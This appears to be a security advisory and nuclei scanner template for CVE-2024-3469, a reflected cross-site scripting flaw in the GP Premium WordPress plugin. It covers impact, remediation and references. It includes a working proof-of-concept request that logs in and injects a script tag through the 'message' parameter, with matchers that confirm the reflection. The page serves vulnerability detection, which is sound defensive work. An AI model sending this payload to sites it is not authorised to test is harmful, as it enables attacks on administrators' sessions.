CVE-2024-3469· generatepress / gp-premium· CWE-79
GP Premium <= 2.4.0 - Cross-Site Scripting
The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.
Impact
Successful exploitation allows attackers to hijack administrator sessions via cookie theft, create rogue administrative accounts, perform actions on behalf of authenticated users, and deface the website or inject malicious content.
Fix
Update GP Premium to version 2.4.1 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=generate-options&sl_activation=false&message=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "setting-error-license_failed")Run it with nuclei: nuclei -id CVE-2024-3469 -u <target>
The full check
id: CVE-2024-3469
info:
name: GP Premium <= 2.4.0 - Cross-Site Scripting
author: Shivam Kamboj
severity: medium
description: |
The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.
impact: |
Successful exploitation allows attackers to hijack administrator sessions via cookie theft, create rogue administrative accounts, perform actions on behalf of authenticated users, and deface the website or inject malicious content.
remediation: Update GP Premium to version 2.4.1 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gp-premium/gp-premium-240-reflected-cross-site-scripting
- https://nvd.nist.gov/vuln/detail/CVE-2024-3469
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-3469
epss-score: 0.00637
epss-percentile: 0.5087
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: generatepress
product: gp-premium
framework: wordpress
fofa-query: body="/wp-content/plugins/gp-premium/"
tags: cve,cve2024,wordpress,wp-plugin,gp-premium,xss,authenticated,wp,vkev,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=generate-options&sl_activation=false&message=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>", "setting-error-license_failed")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gp-premium/gp-premium-240-reflected-cross-site-scripting
- https://nvd.nist.gov/vuln/detail/CVE-2024-3469
Use this check only on systems you are authorised to test. Where the data comes from